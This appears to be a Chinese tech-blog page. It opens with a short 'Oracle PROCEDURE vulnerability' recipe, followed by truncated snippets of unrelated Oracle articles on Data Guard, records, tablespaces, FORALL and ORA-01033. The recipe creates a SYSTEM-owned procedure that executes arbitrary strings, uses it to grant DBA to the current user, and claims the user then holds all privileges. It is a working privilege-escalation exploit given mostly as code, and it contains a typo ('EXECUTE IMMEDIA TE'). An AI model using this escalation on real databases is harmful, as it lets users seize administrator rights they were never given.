ORACLE 的PROCEDURE漏洞
CREATE PROCEDURE SYSTEM.PRO(VAL VARCHAR2(30))
IS
BEGIN
EXECUTE IMMEDIA TE VAL;
END;
EXECUTE SYSTEM.PRO('GRANT DBA TO 此用户');
再重新登录 查询SELECT * from SESSION_PRIVS;就会有所有的权限了；
SELECT * from SESSION_ROLES;dba角色
相关文档：
【IT168技术文档】
DATA GUARD的最主要的功能是冗灾。当然根据配置的不同，DATA GUARD还可以具备以下特点：高可用、性能提升、数据保护以及故障恢复等。
DATA GUARD可以分为物理STANDBY和逻辑STANDBY两种。二者的最大差别在于，物理STANDBY应用的是主库的归档日志，而� ......
Oracle系列：记录（Record）
一，什么是记录（Record）？
由单行多列的标量构成的复合结构。可以看做是一种用户自定义数据类型。组成类似于多维数组。
将一个或多个标量封装成一个对象进行操作。是一种临时复合对象类型。
记录可以直接赋值。RECORD1 :=RECORD2；
记录不可以整体比较. ......
1. 查询数据库现在的表空间
select tablespace_name, file_name, sum(bytes)/1024/1024 table_size from dba_data_files group by tablespace_name,file_name;
2. 建立表空间
CREATE TABLESPACE data01 DATAFILE '/oracle/ ......
FORALL语句的一个关键性改进，它可大大简化代码，并且对于那些要在PL/SQL程序中更新很多行数据的程序来说，它可显著提高其性能。
1:
用FORALL来增强DML的处理能力
Oracle为Oracle8i中的PL/SQL引入了两个新的数据操纵语言（DML）语句：BULK COLLECT和FORALL。这两个语句在PL/SQL内部进行一种数组处理
；BULK COLLE ......
原创于2007年04月12日，2009年10月15日迁移至此。
windows xp，数据库oracle 10.2.0。1
没有备份，基本上是默认安装，好像还不是归档模式
症状：sqlplus只有sysdba用户能进去，其他用户进去一概报：ora-01033：oracle正在初始化或关闭
而且sysdba用户进去之后能执行select sysdate from dual，但是执行select use ......
